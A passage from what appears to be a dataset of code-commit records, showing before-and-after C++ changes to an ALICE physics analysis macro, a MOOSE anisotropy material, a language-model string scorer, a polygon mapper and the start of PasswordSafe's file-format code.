{0.00,0.10,0.11,0.12,0.13,0.14,0.15,0.155,0.16,0.165,0.17,0.175,0.18,0.185,0.19,0.195,0.20,0.205,0.21,0.215,0.22,0.225,0.23,0.235,0.24,0.245,0.25,0.255,0.26,0.265,0.27,0.275,0.28,0.285,0.29,0.295,0.30,0.32,0.34,0.36,0.38,0.40,0.43,0.46,0.49,0.52,0.55,0.60,0.65,0.70,0.75,0.80,0.90,1.00,1.10,1.20,1.40,1.60,1.80,2.00,2.40,2.80,3.20,3.70,4.50,6.00,8.00,12.0};\n std::vector<double> v_pte(pte,std::end(pte));\n task->SetPtBins(v_pte);\n }\n else task->SetPtBinsLinear (0, 10, 100);\n task->SetEtaBinsLinear (-1.,1.,20); \/\/ 40 before\n task->SetPhiBinsLinear (0, TMath::TwoPi(), 36); \/\/ 90 before\n task->SetThetaBinsLinear(0, TMath::TwoPi(), 60);\n\n \/\/ pair variables\n const Int_t Nmee = 150;\n Double_t mee[Nmee] = {};\n for(Int_t i=0 ;i<110 ;i++) mee[i] = 0.01 * (i- 0) + 0.0;\/\/from 0 to 1.09 GeV\/c2, every 0.01 GeV\/c2\n for(Int_t i=110;i<Nmee;i++) mee[i] = 0.1 * (i-110) + 1.1;\/\/from 1.1 to 5 GeV\/c2, evety 0.1 GeV\/c2\n std::vector<double> v_mee(mee,std::end(mee));\n \n const Int_t NpTee = 130;\n Double_t pTee[NpTee] = {};\n for(Int_t i=0 ;i<20 ;i++) pTee[i] = 0.005 * (i- 0) + 0.0;\/\/from 0 to 0.095 GeV\/c, every 0.005 GeV\/c\n for(Int_t i=20 ;i<119 ;i++) pTee[i] = 0.1 * (i- 20) + 0.1;\/\/from 0.1 to 9.9 GeV\/c, evety 0.1 GeV\/c\n for(Int_t i=119;i<NpTee;i++) pTee[i] = 1.0 * (i-119) + 10.0;\/\/from 10 to 20 GeV\/c, evety 1.0 GeV\/c\n std::vector<double> v_pTee(pTee,std::end(pTee));\n task->SetMassBins(v_mee);\n task->SetPairPtBins(v_pTee);\n \/\/task->SetPhiVBinsLinear(0, TMath::Pi(), 100);\n \/\/task->SetFillPhiV(kTRUE);\n\n \n \/\/ #########################################################\n \/\/ #########################################################\n \/\/task->SetSmearGenerated(kFALSE); \/\/ cross check smearing the MC at single level and filling resolution maps\n \/\/ Resolution File, If resoFilename = \"\" no correction is applied\n task->SetResolutionFile(resolutionFilename);\n task->SetResolutionFileFromAlien(\"\/alice\/cern.ch\/user\/r\/rbailhac\/supportFiles\/\" + resolutionFilename);\n task->SetResolutionDeltaPtBinsLinear (-10., 2., (Int_t)gROOT->ProcessLine(\"GetNbinsDeltaMom()\"));\n task->SetResolutionRelPtBinsLinear (0., 2., (Int_t)gROOT->ProcessLine(\"GetNbinsRelMom()\"));\n task->SetResolutionEtaBinsLinear (-0.4, 0.4, (Int_t)gROOT->ProcessLine(\"GetNbinsDeltaEta()\"));\n task->SetResolutionPhiBinsLinear (-0.4, 0.4, (Int_t)gROOT->ProcessLine(\"GetNbinsDeltaPhi()\"));\n task->SetResolutionThetaBinsLinear(-0.4, 0.4, (Int_t)gROOT->ProcessLine(\"GetNbinsDeltaTheta()\"));\n\n \/\/###########################################################\n \/\/############################################################\n \/\/ Set MCSignal and Cutsetting to fill the support histograms\n task->SetSupportHistoMCSignalAndCutsetting(0,0);\/\/fill support histograms for first MCsignal and first cutsetting\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Set centrality correction. If resoFilename = \"\" no correction is applied\n task->SetCentralityFile(centralityFilename);\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Pairing related config\n task->SetDoPairing(kTRUE);\n task->SetULSandLS(DoULSLS);\n\n \/\/#####################################################\n \/\/######################################################\n \/\/ Generators\n cout<<\"Efficiency based on MC generators: \" << generators <<endl;\n TString generatorsPair=generators;\n task->SetGeneratorMCSignalName(generatorsPair);\n task->SetGeneratorULSSignalName(generators);\n\n\n \/\/#################################################\n \/\/#################################################\n \/\/ generator ID to select pile-up or not\n if(ngenID > 0) {\n task->SetGeneratorMCSignalIndex(genID);\n task->SetGeneratorULSSignalIndex(genID);\n task->SetCheckGenID(kTRUE);\n }\n \n \/\/###############################################\n \/\/##############################################\n task->SetCocktailWeighting(cocktailFilename);\n task->SetCocktailWeightingFromAlien(\"\/alice\/cern.ch\/user\/r\/rbailhac\/supportFiles\/\" + cocktailFilename);\n \n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Add MCSignals. Can be set to see differences of:\n \/\/ e.g. secondaries and primaries. or primaries from charm and resonances\n gROOT->ProcessLine(Form(\"AddSingleLegMCSignal(%s)\",task->GetName()));\/\/not task itself, task name\n gROOT->ProcessLine(Form(\"AddPairMCSignal(%s)\" ,task->GetName()));\/\/not task itself, task name\n\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ PID postcalibration\n TH3D *hs_mean_ITS_El = 0x0;\n TH3D *hs_width_ITS_El = 0x0;\n TH3D *hs_mean_TOF_El = 0x0;\n TH3D *hs_width_TOF_El = 0x0;\n\n \/\/ PID post-calibration\n TFile *rootfile = 0x0;\n if(calibFileName.Contains(\"MC\")){\n printf(\"reading : %s for PID calibration\\n\",calibFileName.Data());\n rootfile = TFile::Open(calibFileName,\"READ\");\n hs_mean_ITS_El = (TH3D*)rootfile->Get(\"h3mean_ITS\");\n hs_width_ITS_El = (TH3D*)rootfile->Get(\"h3width_ITS\");\n hs_mean_TOF_El = (TH3D*)rootfile->Get(\"h3mean_TOF\");\n hs_width_TOF_El = (TH3D*)rootfile->Get(\"h3width_TOF\");\n\n if(hs_mean_ITS_El) {\n cout<<\"Adding mean ITS PID correction\" <<endl;\n task->SetCentroidCorrFunction(AliAnalysisTaskElectronEfficiencyV2::kITS, hs_mean_ITS_El, AliDielectronVarManager::kNSDDSSDclsEvent, AliDielectronVarManager::kPIn, AliDielectronVarManager::kEta);\n }\n if(hs_mean_TOF_El) {\n cout<<\"Adding mean TOF PID correction\" <<endl;\n task->SetCentroidCorrFunction(AliAnalysisTaskElectronEfficiencyV2::kTOF, hs_mean_TOF_El, AliDielectronVarManager::kNSDDSSDclsEvent, AliDielectronVarManager::kPIn, AliDielectronVarManager::kEta);\n }\n if(hs_width_ITS_El) {\n cout<<\"Adding width ITS PID correction\" <<endl;\n task->SetWidthCorrFunction(AliAnalysisTaskElectronEfficiencyV2::kITS, hs_width_ITS_El, AliDielectronVarManager::kNSDDSSDclsEvent, AliDielectronVarManager::kPIn, AliDielectronVarManager::kEta);\n }\n if(hs_width_TOF_El) {\n cout<<\"Adding width TOF PID correction\" <<endl;\n task->SetWidthCorrFunction(AliAnalysisTaskElectronEfficiencyV2::kTOF, hs_width_TOF_El, AliDielectronVarManager::kNSDDSSDclsEvent, AliDielectronVarManager::kPIn, AliDielectronVarManager::kEta);\n }\n \n }\n\n\n \/\/ #########################################################\n \/\/ #########################################################\n \/\/ Adding cutsettings\n \/\/ Cuts\n \/\/ Number of cuts\n const Int_t nDie = (Int_t)gROOT->ProcessLine(\"GetN()\");\n \/\/add dielectron analysis with different cuts to the task\n for (Int_t i=0; i<nDie; ++i){ \/\/nDie defined in config file\n AliAnalysisFilter *filter = reinterpret_cast<AliAnalysisFilter*>(gROOT->ProcessLine(Form(\"Config_rbailhac_ElectronEfficiencyV2_PbPb(%d)\",i)));\n task->AddTrackCuts(filter);\n }\n \n\n \/\/########################################\n \/\/########################################\n TString outlistname = Form(\"efficiency_%s\",appendix.Data());\n const TString fileName = outname;\n mgr->AddTask(task);\n mgr->ConnectInput(task, 0, mgr->GetCommonInputContainer());\n mgr->ConnectOutput(task, 1, mgr->CreateContainer(outlistname, TList::Class(), AliAnalysisManager::kOutputContainer, Form(\"%s\",fileName.Data())));\n\n\n return task;\n}\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment *\/\n\/* *\/\n\/* All contents are licensed under LGPL V2.1 *\/\n\/* See LICENSE for full restrictions *\/\n\/****************************************************************\/\n\n#include \"InterfaceOrientationMaterial.h\"\n#include \"MooseMesh.h\"\n\ntemplate<>\nInputParameters validParams<InterfaceOrientationMaterial>()\n{\n InputParameters params = validParams<Material>();\n params.addParam<Real>(\"anisotropy_strength\", 0.04, \"Strength of the anisotropy (typically < 0.05)\");\n params.addParam<unsigned int>(\"mode_number\", 6, \"Mode number for anisotropy\");\n params.addParam<Real>(\"reference_angle\", 90, \"Reference angle for defining anistropy in degrees\");\n params.addParam<Real>(\"eps_bar\", 0.01, \"Average value of the interface parameter epsilon\");\n params.addRequiredCoupledVar(\"op\", \"Order parameter defining the solid phase\");\n return params;\n}\n\nInterfaceOrientationMaterial::InterfaceOrientationMaterial(const InputParameters & parameters) :\n Material(parameters),\n _delta(getParam<Real>(\"anisotropy_strength\")),\n _j(getParam<unsigned int>(\"mode_number\")),\n _theta0(getParam<Real>(\"reference_angle\")),\n _eps_bar(getParam<Real>(\"eps_bar\")),\n _eps(declareProperty<Real>(\"eps\")),\n _deps(declareProperty<Real>(\"deps\")),\n _depsdgrad_op(declareProperty<RealGradient>(\"depsdgrad_op\")),\n _ddepsdgrad_op(declareProperty<RealGradient>(\"ddepsdgrad_op\")),\n _op(coupledValue(\"op\")),\n _grad_op(coupledGradient(\"op\"))\n{\n \/\/ this currently only works in 2D simulations\n if (_mesh.dimension() != 2)\n mooseError(\"InterfaceOrientationMaterial requires a two-dimensional mesh.\");\n}\n\nvoid\nInterfaceOrientationMaterial::computeQpProperties()\n{\n Real cutoff = 0.99999;\n\n \/\/ cosine of the gradient orientation angle\n Real n;\n if (_grad_op[_qp].norm() == 0)\n n = 0;\n else\n n = _grad_op[_qp](0) \/ _grad_op[_qp].norm();\n\n if (n > cutoff)\n n = cutoff;\n\n if (n < -cutoff)\n n = -cutoff;\n\n const Real angle = std::acos(n);\n\n \/\/ Compute derivative of angle wrt n\n const Real dangledn = - 1.0 \/ std::sqrt(1.0 - n * n);\n\n \/\/ Compute derivative of n with respect to grad_op\n RealGradient dndgrad_op;\n if (_grad_op[_qp].norm_sq() == 0)\n dndgrad_op = 0;\n else\n {\n dndgrad_op(0) = _grad_op[_qp](1) * _grad_op[_qp](1);\n dndgrad_op(1) = - _grad_op[_qp](0) * _grad_op[_qp](1);\n dndgrad_op \/= (_grad_op[_qp].norm_sq() * _grad_op[_qp].norm());\n }\n\n \/\/ Calculate interfacial parameter epsilon and its derivatives\n _eps[_qp]= _eps_bar * (_delta * std::cos(_j * (angle - _theta0 * libMesh::pi\/180.0)) + 1.0);\n _deps[_qp]= - _eps_bar * _delta * _delta * std::sin(_j * (angle - _theta0 * libMesh::pi\/180.0));\n Real d2eps = - _eps_bar * _delta * _delta * _delta * std::cos(_j * (angle - _theta0 * libMesh::pi\/180.0));\n\n \/\/ Compute derivatives of epsilon and its derivative wrt grad_op\n _depsdgrad_op[_qp] = _deps[_qp] * dangledn * dndgrad_op;\n _ddepsdgrad_op[_qp] = d2eps * dangledn * dndgrad_op;\n}\n<commit_msg>Fix angle sign and derivative (#6893)<commit_after>\/****************************************************************\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment *\/\n\/* *\/\n\/* All contents are licensed under LGPL V2.1 *\/\n\/* See LICENSE for full restrictions *\/\n\/****************************************************************\/\n\n#include \"InterfaceOrientationMaterial.h\"\n#include \"MooseMesh.h\"\n#include \"MathUtils.h\"\n\ntemplate<>\nInputParameters validParams<InterfaceOrientationMaterial>()\n{\n InputParameters params = validParams<Material>();\n params.addParam<Real>(\"anisotropy_strength\", 0.04, \"Strength of the anisotropy (typically < 0.05)\");\n params.addParam<unsigned int>(\"mode_number\", 6, \"Mode number for anisotropy\");\n params.addParam<Real>(\"reference_angle\", 90, \"Reference angle for defining anistropy in degrees\");\n params.addParam<Real>(\"eps_bar\", 0.01, \"Average value of the interface parameter epsilon\");\n params.addRequiredCoupledVar(\"op\", \"Order parameter defining the solid phase\");\n return params;\n}\n\nInterfaceOrientationMaterial::InterfaceOrientationMaterial(const InputParameters & parameters) :\n Material(parameters),\n _delta(getParam<Real>(\"anisotropy_strength\")),\n _j(getParam<unsigned int>(\"mode_number\")),\n _theta0(getParam<Real>(\"reference_angle\")),\n _eps_bar(getParam<Real>(\"eps_bar\")),\n _eps(declareProperty<Real>(\"eps\")),\n _deps(declareProperty<Real>(\"deps\")),\n _depsdgrad_op(declareProperty<RealGradient>(\"depsdgrad_op\")),\n _ddepsdgrad_op(declareProperty<RealGradient>(\"ddepsdgrad_op\")),\n _op(coupledValue(\"op\")),\n _grad_op(coupledGradient(\"op\"))\n{\n \/\/ this currently only works in 2D simulations\n if (_mesh.dimension() != 2)\n mooseError(\"InterfaceOrientationMaterial requires a two-dimensional mesh.\");\n}\n\nvoid\nInterfaceOrientationMaterial::computeQpProperties()\n{\n Real cutoff = 0.99999;\n\n \/\/ cosine of the gradient orientation angle\n Real n;\n if (_grad_op[_qp].norm_sq() == 0)\n n = 0;\n else\n n = _grad_op[_qp](0) \/ _grad_op[_qp].norm();\n\n if (n > cutoff)\n n = cutoff;\n\n if (n < -cutoff)\n n = -cutoff;\n\n const Real angle = std::acos(n) * MathUtils::sign(_grad_op[_qp](1));\n\n \/\/ Compute derivative of angle wrt n\n const Real dangledn = - MathUtils::sign(_grad_op[_qp](1)) \/ std::sqrt(1.0 - n * n);\n\n \/\/ Compute derivative of n with respect to grad_op\n RealGradient dndgrad_op;\n if (_grad_op[_qp].norm_sq() == 0)\n dndgrad_op = 0;\n else\n {\n dndgrad_op(0) = _grad_op[_qp](1) * _grad_op[_qp](1);\n dndgrad_op(1) = - _grad_op[_qp](0) * _grad_op[_qp](1);\n dndgrad_op \/= (_grad_op[_qp].norm_sq() * _grad_op[_qp].norm());\n }\n\n \/\/ Calculate interfacial parameter epsilon and its derivatives\n _eps[_qp]= _eps_bar * (_delta * std::cos(_j * (angle - _theta0 * libMesh::pi\/180.0)) + 1.0);\n _deps[_qp]= - _eps_bar * _delta * _j * std::sin(_j * (angle - _theta0 * libMesh::pi\/180.0));\n Real d2eps = - _eps_bar * _delta * _j * _j * std::cos(_j * (angle - _theta0 * libMesh::pi\/180.0));\n\n \/\/ Compute derivatives of epsilon and its derivative wrt grad_op\n _depsdgrad_op[_qp] = _deps[_qp] * dangledn * dndgrad_op;\n _ddepsdgrad_op[_qp] = d2eps * dangledn * dndgrad_op;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <cmath>\n#include <fstream>\n#include <iostream>\n#include <sstream>\n\n#include \"io.hh\"\n#include \"conf.hh\"\n#include \"LM.hh\"\n\nusing namespace std;\nusing namespace fsalm;\n\n\nint main(int argc, char* argv[]) {\n\n conf::Config config;\n config(\"usage: strscore [OPTION...] ARPAFILE INPUT OUTPUT\\n\")\n ('h', \"help\", \"\", \"\", \"display help\");\n config.default_parse(argc, argv);\n if (config.arguments.size() != 3) config.print_help(stderr, 1);\n\n string arpafname = config.arguments[0];\n string infname = config.arguments[1];\n string outfname = config.arguments[2];\n\n LM lm;\n lm.read_arpa(io::Stream(arpafname, \"r\").file, true);\n lm.trim();\n\n ifstream infile(infname);\n if (!infile) {\n cerr << \"Something went wrong opening the input file.\" << endl;\n exit(0);\n }\n\n ofstream outfile(outfname);\n if (!outfile) {\n cerr << \"Something went wrong opening the output file.\" << endl;\n exit(0);\n }\n\n int count;\n string line, lstr;\n while (getline(infile, line)) {\n stringstream ss(line);\n ss >> count;\n ss >> lstr;\n\n float total_prob = 0.0;\n int node_id = lm.empty_node_id();\n for (int i=0; i<lstr.length(); i++) {\n int sym = lm.symbol_map().index(lstr.substr(i, 1));\n float curr_prob = 0.0;\n node_id = lm.walk(node_id, sym, &curr_prob);\n total_prob += curr_prob;\n }\n\n total_prob *= log(10.0); \/\/ Convert from log10 (ARPA default) to ln\n outfile << total_prob << \"\\t\" << lstr << endl;\n }\n\n infile.close();\n outfile.close();\n\n exit(1);\n}\n\n<commit_msg>Normalize the scores.<commit_after>#include <cmath>\n#include <fstream>\n#include <iostream>\n#include <sstream>\n#include <vector>\n#include <utility>\n\n#include \"defs.hh\"\n#include \"io.hh\"\n#include \"conf.hh\"\n#include \"LM.hh\"\n\nusing namespace std;\nusing namespace fsalm;\n\n\nint main(int argc, char* argv[]) {\n\n conf::Config config;\n config(\"usage: strscore [OPTION...] ARPAFILE INPUT OUTPUT\\n\")\n ('h', \"help\", \"\", \"\", \"display help\");\n config.default_parse(argc, argv);\n if (config.arguments.size() != 3) config.print_help(stderr, 1);\n\n string arpafname = config.arguments[0];\n string infname = config.arguments[1];\n string outfname = config.arguments[2];\n\n LM lm;\n lm.read_arpa(io::Stream(arpafname, \"r\").file, true);\n lm.trim();\n\n ifstream infile(infname);\n if (!infile) {\n cerr << \"Something went wrong opening the input file.\" << endl;\n exit(0);\n }\n\n ofstream outfile(outfname);\n if (!outfile) {\n cerr << \"Something went wrong opening the output file.\" << endl;\n exit(0);\n }\n\n int count;\n string line, lstr;\n vector<pair<string, float> > scores;\n float normalizer = SMALL_LP;\n while (getline(infile, line)) {\n stringstream ss(line);\n ss >> count;\n ss >> lstr;\n\n float total_prob = 0.0;\n int node_id = lm.empty_node_id();\n for (int i=0; i<lstr.length(); i++) {\n int sym = lm.symbol_map().index(lstr.substr(i, 1));\n float curr_prob = 0.0;\n node_id = lm.walk(node_id, sym, &curr_prob);\n total_prob += curr_prob;\n }\n\n total_prob *= log(10.0); \/\/ Convert from log10 (ARPA default) to ln\n normalizer = add_log_domain_probs(normalizer, total_prob);\n scores.push_back(make_pair(lstr, total_prob));\n }\n\n for (auto it=scores.begin(); it != scores.end(); ++it)\n outfile << it->second-normalizer << \"\\t\" << it->first << endl;\n\n infile.close();\n outfile.close();\n\n exit(1);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Library\n Module: PolyMap.cc\n Language: C++\n Date: $Date$\n Version: $Revision$\n\nThis file is part of the Visualization Library. No part of this file or its \ncontents may be copied, reproduced or altered in any way without the express\nwritten consent of the authors.\n\nCopyright (c) Ken Martin, Will Schroeder, Bill Lorensen 1993, 1994 \n\n=========================================================================*\/\n\/\/\n\/\/ Methods for polygon mapper\n\/\/\n#include \"PolyMap.hh\"\n\nvlPolyMapper::vlPolyMapper()\n{\n this->Input = 0;\n this->Verts = 0;\n this->Lines = 0;\n this->Polys = 0;\n this->Strips = 0;\n this->VertsVisibility = 1;\n this->LinesVisibility = 1;\n this->PolysVisibility = 1;\n this->StripsVisibility = 1;\n}\n\nvlPolyMapper::~vlPolyMapper()\n{\n if ( this->Input != 0 )\n {\n this->Input->UnRegister((void *)this);\n }\n}\n\nvoid vlPolyMapper::SetInput(vlPolyData *in)\n{\n if (in != this->Input )\n {\n this->Input = in;\n this->Input->Register((void *)this);\n this->Modified();\n }\n}\nvlPolyData* vlPolyMapper::GetInput()\n{\n return this->Input;\n}\n\/\/\n\/\/ Return bounding box of data\n\/\/\nfloat *vlPolyMapper::GetBounds()\n{\n static float bounds[] = {-1.0,1.0, -1.0,1.0, -1.0,1.0};\n\n if ( ! this->Input ) \n return bounds;\n else\n {\n this->Input->Update();\n return this->Input->GetBounds();\n }\n}\n\n\/\/\n\/\/ Receives from Actor -> maps data to primitives\n\/\/\nvoid vlPolyMapper::Render(vlRenderer *ren)\n{\n vlPointData *pd;\n vlRGBArray *colors;\n vlScalars *scalars;\n int i;\n char forceBuild = 0;\n\/\/\n\/\/ make sure that we've been properly initialized\n\/\/\n if ( ! this->Input ) \n {\n vlErrorMacro(<< \"No input!\\n\");\n return;\n }\n else\n this->Input->Update();\n\n if ( ! this->LookupTable ) this->LookupTable = new vlLookupTable;\n this->LookupTable->Build();\n\n if ( ! this->Polys )\n {\n forceBuild = 1;\n this->Verts = ren->GetPrimitive(\"points\");\n this->Lines = ren->GetPrimitive(\"lines\");\n this->Polys = ren->GetPrimitive(\"polygons\");\n this->Strips = ren->GetPrimitive(\"triangle_strips\");\n }\n\/\/\n\/\/ Now send data down to primitives and draw it\n\/\/\n if ( forceBuild || this->Input->GetMTime() > this->BuildTime || \n this->LookupTable->GetMTime() > this->BuildTime )\n {\n\/\/\n\/\/ create colors\n\/\/\n if ( this->ScalarsVisible && (pd=this->Input->GetPointData()) && \n (scalars=pd->GetScalars()) )\n {\n colors = new vlRGBArray;\n colors->Initialize (this->Input->NumberOfPoints());\n\n this->LookupTable->SetTableRange(this->ScalarRange);\n for (i=0; i<this->Input->NumberOfPoints(); i++)\n {\n colors->SetColor(i,this->LookupTable->MapValue(scalars->GetScalar(i)));\n }\n }\n else\n {\n colors = 0;\n }\n\/\/\n\/\/ Cause primitives to build themselves\n\/\/\n this->Verts->Build(this->Input,colors);\n this->Lines->Build(this->Input,colors);\n this->Polys->Build(this->Input,colors);\n this->Strips->Build(this->Input,colors);\n this->BuildTime.Modified();\n }\n\n if ( this->VertsVisibility ) this->Verts->Draw(ren);\n if ( this->LinesVisibility ) this->Lines->Draw(ren);\n if ( this->PolysVisibility ) this->Polys->Draw(ren);\n if ( this->StripsVisibility ) this->Strips->Draw(ren);\n\n}\n\nvoid vlPolyMapper::PrintSelf(ostream& os, vlIndent indent)\n{\n if (this->ShouldIPrint(vlPolyMapper::GetClassName()))\n {\n vlMapper::PrintSelf(os,indent);\n\n if ( this->Input )\n {\n os << indent << \"Input: (\" << this->Input << \")\\n\";\n }\n else\n {\n os << indent << \"Input: (none)\\n\";\n }\n\n os << indent << \"Vertex Visibility: \" << (this->VertsVisibility ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Line Visibility: \" << (this->LinesVisibility ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Polygon Visibility: \" << (this->PolysVisibility ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Triangle Strip Visibility: \" << (this->StripsVisibility ? \"On\\n\" : \"Off\\n\");\n\n }\n}\n<commit_msg>Fixed some allocation problems<commit_after>\/*=========================================================================\n\n Program: Visualization Library\n Module: PolyMap.cc\n Language: C++\n Date: $Date$\n Version: $Revision$\n\nThis file is part of the Visualization Library. No part of this file or its \ncontents may be copied, reproduced or altered in any way without the express\nwritten consent of the authors.\n\nCopyright (c) Ken Martin, Will Schroeder, Bill Lorensen 1993, 1994 \n\n=========================================================================*\/\n\/\/\n\/\/ Methods for polygon mapper\n\/\/\n#include \"PolyMap.hh\"\n\nvlPolyMapper::vlPolyMapper()\n{\n this->Input = 0;\n this->Verts = 0;\n this->Lines = 0;\n this->Polys = 0;\n this->Strips = 0;\n this->VertsVisibility = 1;\n this->LinesVisibility = 1;\n this->PolysVisibility = 1;\n this->StripsVisibility = 1;\n}\n\nvlPolyMapper::~vlPolyMapper()\n{\n if ( this->Input != 0 )\n {\n this->Input->UnRegister((void *)this);\n }\n}\n\nvoid vlPolyMapper::SetInput(vlPolyData *in)\n{\n if (in != this->Input )\n {\n this->Input = in;\n this->Input->Register((void *)this);\n this->Modified();\n }\n}\nvlPolyData* vlPolyMapper::GetInput()\n{\n return this->Input;\n}\n\/\/\n\/\/ Return bounding box of data\n\/\/\nfloat *vlPolyMapper::GetBounds()\n{\n static float bounds[] = {-1.0,1.0, -1.0,1.0, -1.0,1.0};\n\n if ( ! this->Input ) \n return bounds;\n else\n {\n this->Input->Update();\n return this->Input->GetBounds();\n }\n}\n\n\/\/\n\/\/ Receives from Actor -> maps data to primitives\n\/\/\nvoid vlPolyMapper::Render(vlRenderer *ren)\n{\n vlPointData *pd;\n vlRGBArray *colors;\n vlScalars *scalars;\n int i;\n char forceBuild = 0;\n\/\/\n\/\/ make sure that we've been properly initialized\n\/\/\n if ( ! this->Input ) \n {\n vlErrorMacro(<< \"No input!\\n\");\n return;\n }\n else\n this->Input->Update();\n\n if ( ! this->LookupTable ) this->LookupTable = new vlLookupTable;\n this->LookupTable->Build();\n\n\/\/\n\/\/ Now send data down to primitives and draw it\n\/\/\n if ( forceBuild || this->Input->GetMTime() > this->BuildTime || \n this->LookupTable->GetMTime() > this->BuildTime )\n {\n\/\/\n\/\/ create colors\n\/\/\n if ( this->ScalarsVisible && (pd=this->Input->GetPointData()) && \n (scalars=pd->GetScalars()) )\n {\n colors = new vlRGBArray;\n colors->Initialize (this->Input->NumberOfPoints());\n\n this->LookupTable->SetTableRange(this->ScalarRange);\n for (i=0; i<this->Input->NumberOfPoints(); i++)\n {\n colors->SetColor(i,this->LookupTable->MapValue(scalars->GetScalar(i)));\n }\n }\n else\n {\n colors = 0;\n }\n\n if (this->VertsVisibility && this->Input->NumberOfVerts())\n {\n if (!this->Verts) this->Verts = ren->GetPrimitive(\"points\");\n this->Verts->Build(this->Input,colors);\n }\n if ( this->LinesVisibility && this->Input->NumberOfLines())\n {\n if (!this->Lines) this->Lines = ren->GetPrimitive(\"lines\");\n this->Lines->Build(this->Input,colors);\n }\n if ( this->PolysVisibility && this->Input->NumberOfPolys())\n {\n if (!this->Polys) this->Polys = ren->GetPrimitive(\"polygons\");\n this->Polys->Build(this->Input,colors);\n }\n if ( this->StripsVisibility && this->Input->NumberOfStrips())\n {\n if (!this->Strips) this->Strips = ren->GetPrimitive(\"triangle_strips\");\n this->Strips->Build(this->Input,colors);\n }\n\n this->BuildTime.Modified();\n }\n\n \/\/ draw the primitives\n if (this->VertsVisibility && this->Input->NumberOfVerts())\n {\n this->Verts->Draw(ren);\n }\n if ( this->LinesVisibility && this->Input->NumberOfLines())\n {\n this->Lines->Draw(ren);\n }\n if ( this->PolysVisibility && this->Input->NumberOfPolys())\n {\n this->Polys->Draw(ren);\n }\n if ( this->StripsVisibility && this->Input->NumberOfStrips())\n {\n this->Strips->Draw(ren);\n }\n\n}\n\nvoid vlPolyMapper::PrintSelf(ostream& os, vlIndent indent)\n{\n if (this->ShouldIPrint(vlPolyMapper::GetClassName()))\n {\n vlMapper::PrintSelf(os,indent);\n\n if ( this->Input )\n {\n os << indent << \"Input: (\" << this->Input << \")\\n\";\n }\n else\n {\n os << indent << \"Input: (none)\\n\";\n }\n\n os << indent << \"Vertex Visibility: \" << (this->VertsVisibility ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Line Visibility: \" << (this->LinesVisibility ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Polygon Visibility: \" << (this->PolysVisibility ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Triangle Strip Visibility: \" << (this->StripsVisibility ? \"On\\n\" : \"Off\\n\");\n\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"PWSfileV1V2.h\"\n\n#include <io.h>\n#include <fcntl.h>\n#include <sys\/stat.h>\n#include <errno.h>\n\n\nPWSfileV1V2::PWSfileV1V2(const CMyString &filename, RWmode mode, VERSION version)\n : PWSfile(filename,mode)\n{\n m_curversion = version;\n m_IV = m_ipthing;\n}\n\nPWSfileV1V2::~PWSfileV1V2()\n{\n}\n\n\/\/ Used to warn pre-2.0 users, and to identify the database as 2.x:\nstatic const CMyString V2ItemName(\" !!!Version 2 File Format!!! \"\n\t\t\t\t \"Please upgrade to PasswordSafe 2.0\"\n\t\t\t\t \" or later\");\n\/\/ Used to specify the exact version\nstatic const CMyString VersionString(\"2.0\");\nstatic const CMyString AltVersionString(\"pre-2.0\"); \n\nint PWSfileV1V2::WriteV2Header()\n{\n CItemData header;\n \/\/ Fill out with V2-specific info\n \/\/ To make a dictionary attack a little harder, we make the length\n \/\/ of the first record (Name) variable, by appending variable length randomness\n \/\/ to the fixed string\n \/\/ OOPS - can't do this yet, since previous versions (pre-2.14) read the name\n \/\/ (in ReadV2Header)\n \/\/ and compare it directly to VersionString to check version - a small\n \/\/ mistake that would cause a pre-2.14 executable to barf reading a database\n \/\/ written by 2.14 and later.\n \/\/ #idef-ing this out, while correcting the code\n \/\/ in ReadV2Header. Perhaps this can be fixed a year from now?\n#ifdef BREAK_PRE_2_14_COMPATIBILITY\n unsigned int rlen = RangeRand(62) + 2; \/\/ 64 is a trade-off...\n char *rbuf = new char[rlen];\n GetRandomData(rbuf, rlen-1);\n rbuf[rlen-1] = '\\0'; \/\/ although zero may be there before - who cares?\n CMyString rname(V2ItemName);\n rname += rbuf;\n delete[] rbuf;\n header.SetName(rname, _T(\"\"));\n#else\n header.SetName(V2ItemName, _T(\"\"));\n#endif \/* BREAK_PRE_2_14_COMPATIBILITY *\/\n header.SetPassword(VersionString);\n header.SetNotes(m_prefString);\n \/\/ need to fallback to V17, since the record\n \/\/ won't be readable otherwise!\n VERSION sv = m_curversion;\n m_curversion = V17;\n int status = WriteRecord(header);\n \/\/ restore after writing V17-format header\n m_curversion = sv;\n return status;\n}\n\nint PWSfileV1V2::ReadV2Header()\n{\n CItemData header;\n \/\/ need to fallback to V17, since the header\n \/\/ is always written in this format\n VERSION sv = m_curversion;\n m_curversion = V17;\n int status = ReadRecord(header);\n \/\/ restore after reading V17-format header\n m_curversion = sv;\n if (status == SUCCESS) {\n const CMyString version = header.GetPassword();\n \/\/ Compare to AltVersionString due to silly mistake\n \/\/ \"2.0\" as well as \"pre-2.0\" are actually 2.0. sigh.\n status = (version == VersionString || version == AltVersionString)\n ? SUCCESS : WRONG_VERSION;\n }\n if (status == SUCCESS)\n m_prefString = header.GetNotes();\n return status;\n}\n\nint PWSfileV1V2::Open(const CMyString &passkey)\n{\n int status = SUCCESS;\n\n ASSERT(m_curversion == V17 || m_curversion == V20);\n\n m_passkey = passkey;\n LPCTSTR passstr = LPCTSTR(m_passkey);\n\n if (m_rw == Write) {\n#ifdef UNICODE\n m_fd = _wfopen((LPCTSTR)m_filename, _T(\"wb\") );\n#else\n m_fd = fopen((LPCTSTR)m_filename, _T(\"wb\") );\n#endif\n\n if (m_fd == NULL)\n return CANT_OPEN_FILE;\n\n\n \/\/ Following used to verify passkey against file's passkey\n unsigned char randstuff[StuffSize];\n 